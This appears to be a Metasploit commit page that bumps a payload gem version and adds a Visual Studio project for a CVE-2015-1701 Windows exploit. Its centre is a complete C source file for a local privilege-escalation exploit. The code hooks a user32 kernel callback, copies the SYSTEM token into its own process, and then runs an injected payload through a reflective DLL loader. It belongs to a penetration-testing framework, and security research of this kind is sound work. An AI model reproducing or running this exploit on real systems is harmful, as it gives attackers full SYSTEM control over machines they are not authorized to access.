Upstream merge

bug/bundler_fix
Trevor Rosen 2015-06-23 14:11:28 -05:00
commit 4e3a2b2b35
No known key found for this signature in database
GPG Key ID: 255ADB7A642D3928
28 changed files with 5761 additions and 22 deletions

View File

@ -9,7 +9,7 @@ PATH
json json
metasploit-concern (~> 1.0) metasploit-concern (~> 1.0)
metasploit-model (~> 1.0) metasploit-model (~> 1.0)
metasploit-payloads (= 1.0.2) metasploit-payloads (= 1.0.3)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0) activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.2) metasploit-payloads (1.0.3)
metasploit_data_models (1.2.5) metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{68E70ED4-1C36-46C1-8B45-E7CB546B62CA}") = "cve-2015-1701", "cve-2015-1701\cve-2015-1701.vcxproj", "{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.ActiveCfg = Debug|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.Build.0 = Debug|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.ActiveCfg = Debug|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.Build.0 = Debug|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.ActiveCfg = Release|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.Build.0 = Release|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.ActiveCfg = Release|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,558 @@
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2015
*
* TITLE: MAIN.C
*
* VERSION: 1.00
*
* DATE: 10 May 2015
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
//Disable nonmeaningful warnings.
#pragma warning(disable: 4005) // macro redefinition
#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
#define _CRT_SECURE_NO_WARNINGS
#define OEMRESOURCE
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <ntstatus.h>
#include "cve-2015-1701.h"
#define TYPE_WINDOW 1
#define HMUNIQSHIFT 16
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
typedef PVOID PHEAD;
typedef struct _HANDLEENTRY {
PHEAD phead; // Pointer to the Object.
PVOID pOwner; // PTI or PPI
BYTE bType; // Object handle type
BYTE bFlags; // Flags
WORD wUniq; // Access count.
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
WORD wRIPFlags;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
ULONG cHandleEntries;
// incomplete
} SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
// incomplete
} SHAREDINFO, *PSHAREDINFO;
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL;
pUser32_ClientCopyImage g_originalCCI = NULL;
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
int g_shellCalled = 0;
DWORD g_OurPID;
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
_Inout_ PVOID Process
);
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
NTSTATUS NTAPI RtlGetVersion(
_Inout_ PRTL_OSVERSIONINFOW lpVersionInformation
)
{
static PRtlGetVersion proxy = NULL;
if (proxy == NULL)
{
proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion");
}
return proxy(lpVersionInformation);
}
typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
)
{
static PNtQuerySystemInformation proxy = NULL;
if (proxy == NULL)
{
proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
}
return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}
typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS NTAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
)
{
static PNtQueryInformationProcess proxy = NULL;
if (proxy == NULL)
{
proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
}
return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
/*
* supGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with HeapFree after usage.
* Function will return error after 100 attempts.
*
*/
PVOID supGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS InfoClass
)
{
INT c = 0;
PVOID Buffer = NULL;
ULONG Size = 0x1000;
NTSTATUS status;
ULONG memIO;
do {
Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
if (Buffer != NULL) {
status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
}
else {
return NULL;
}
if (status == STATUS_INFO_LENGTH_MISMATCH) {
HeapFree(GetProcessHeap(), 0, Buffer);
Size *= 2;
}
c++;
if (c > 100) {
status = STATUS_SECRET_TOO_LONG;
break;
}
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (NT_SUCCESS(status)) {
return Buffer;
}
if (Buffer) {
HeapFree(GetProcessHeap(), 0, Buffer);
}
return NULL;
}
/*
* supIsProcess32bit
*
* Purpose:
*
* Return TRUE if given process is under WOW64, FALSE otherwise.
*
*/
BOOLEAN supIsProcess32bit(
_In_ HANDLE hProcess
)
{
NTSTATUS status;
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
if (hProcess == NULL) {
return FALSE;
}
//query if this is wow64 process
RtlSecureZeroMemory(&pebi, sizeof(pebi));
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
if (NT_SUCCESS(status)) {
return (pebi.IsWow64Process == 1);
}
return FALSE;
}
/*
* GetPsLookupProcessByProcessId
*
* Purpose:
*
* Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
*
*/
ULONG_PTR GetPsLookupProcessByProcessId(
VOID
)
{
BOOL cond = FALSE;
ULONG rl = 0;
PVOID MappedKernel = NULL;
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
PRTL_PROCESS_MODULES miSpace = NULL;
CHAR KernelFullPathName[MAX_PATH * 2];
do {
miSpace = supGetSystemInfo(SystemModuleInformation);
if (miSpace == NULL) {
break;
}
if (miSpace->NumberOfModules == 0) {
break;
}
rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
if (rl == 0) {
break;
}
KernelFullPathName[rl] = (CHAR)'\\';
strcpy(&KernelFullPathName[rl + 1],
(const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
HeapFree(GetProcessHeap(), 0, miSpace);
miSpace = NULL;
MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (MappedKernel == NULL) {
break;
}
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
} while (cond);
if (MappedKernel != NULL) {
FreeLibrary(MappedKernel);
}
if (miSpace != NULL) {
HeapFree(GetProcessHeap(), 0, miSpace);
}
return FuncAddress;
}
/*
* GetFirstThreadHWND
*
* Purpose:
*
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
*
*/
HWND GetFirstThreadHWND(
VOID
)
{
PSHAREDINFO pse;
HMODULE huser32;
PHANDLEENTRY List;
ULONG_PTR c, k;
huser32 = GetModuleHandle(TEXT("user32.dll"));
if (huser32 == NULL)
return 0;
pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
if (pse == NULL)
return 0;
List = pse->aheList;
k = pse->psi->cHandleEntries;
if (pse->HeEntrySize != sizeof(HANDLEENTRY))
return 0;
//
// Locate, convert and return hwnd for current thread.
//
for (c = 0; c < k; c++)
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
}
return 0;
}
// Search the specified data structure for a member with CurrentValue.
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
DWORD_PTR dwIndex, dwMask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
#ifdef _M_X64
dwMask = ~0xf;
#else
dwMask = ~7;
#endif
// dwMask out the reference count.
dwCurrentValue &= dwMask;
// Scan the structure for any occurrence of dwCurrentValue.
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
{
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
{
// And finally, replace it with NewValue.
pdwStructure[dwIndex] = dwNewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
/*
* StealProcessToken
*
* Purpose:
*
* Copy system token to current process object.
*
*/
NTSTATUS NTAPI StealProcessToken(
VOID
)
{
NTSTATUS Status;
PVOID CurrentProcess = NULL;
PVOID SystemProcess = NULL;
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
if (NT_SUCCESS(Status)) {
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
if (NT_SUCCESS(Status)) {
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
// Find the token in the target process, and replace with the system token.
find_and_replace_member((PDWORD_PTR)CurrentProcess,
(DWORD_PTR)targetToken,
(DWORD_PTR)systemToken,
0x200);
}
}
return Status;
}
/*
* MainWindowProc
*
* Purpose:
*
* To be called in ring0.
*
*/
LRESULT CALLBACK MainWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
UNREFERENCED_PARAMETER(hwnd);
UNREFERENCED_PARAMETER(uMsg);
UNREFERENCED_PARAMETER(wParam);
UNREFERENCED_PARAMETER(lParam);
if (g_shellCalled == 0) {
StealProcessToken();
g_shellCalled = 1;
}
return 0;
}
/*
* hookCCI
*
* Purpose:
*
* _ClientCopyImage hook handler.
*
*/
NTSTATUS NTAPI hookCCI(
PVOID p
)
{
InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback
SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);
return g_originalCCI(p);
}
void win32k_client_copy_image(LPVOID lpPayload)
{
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;
WNDCLASSEX wincls;
HINSTANCE hinst = GetModuleHandle(NULL);
BOOL rv = TRUE;
MSG msg1;
ATOM class_atom;
HWND MainWindow;
DWORD prot;
OSVERSIONINFOW osver;
RtlSecureZeroMemory(&osver, sizeof(osver));
osver.dwOSVersionInfoSize = sizeof(osver);
RtlGetVersion(&osver);
if (osver.dwBuildNumber > 7601) {
return;
}
if (supIsProcess32bit(GetCurrentProcess())) {
return;
}
g_OurPID = GetCurrentProcessId();
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
if (g_PsLookupProcessByProcessIdPtr == NULL) {
return;
}
RtlSecureZeroMemory(&wincls, sizeof(wincls));
wincls.cbSize = sizeof(WNDCLASSEX);
wincls.lpfnWndProc = &MainWindowProc;
wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wincls.lpszClassName = MAINWINDOWCLASSNAME;
class_atom = RegisterClassEx(&wincls);
while (class_atom) {
g_w32theadinfo = teb->Win32ThreadInfo;
g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; // <--- User32_ClientCopyImage INDEX
if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
break;
}
g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);
MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
if (g_shellCalled == 1)
{
execute_payload(lpPayload);
}
else {
OutputDebugString(TEXT(" Failed \r\n"));
}
if (!MainWindow) {
break;
}
do {
rv = GetMessage(&msg1, NULL, 0, 0);
if (rv == -1)
break;
TranslateMessage(&msg1);
DispatchMessage(&msg1);
} while (rv != 0);
break;
}
if (class_atom)
UnregisterClass(MAKEINTATOM(class_atom), hinst);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
win32k_client_copy_image(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,245 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}</ProjectGuid>
<RootNamespace>cve-2015-1701</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
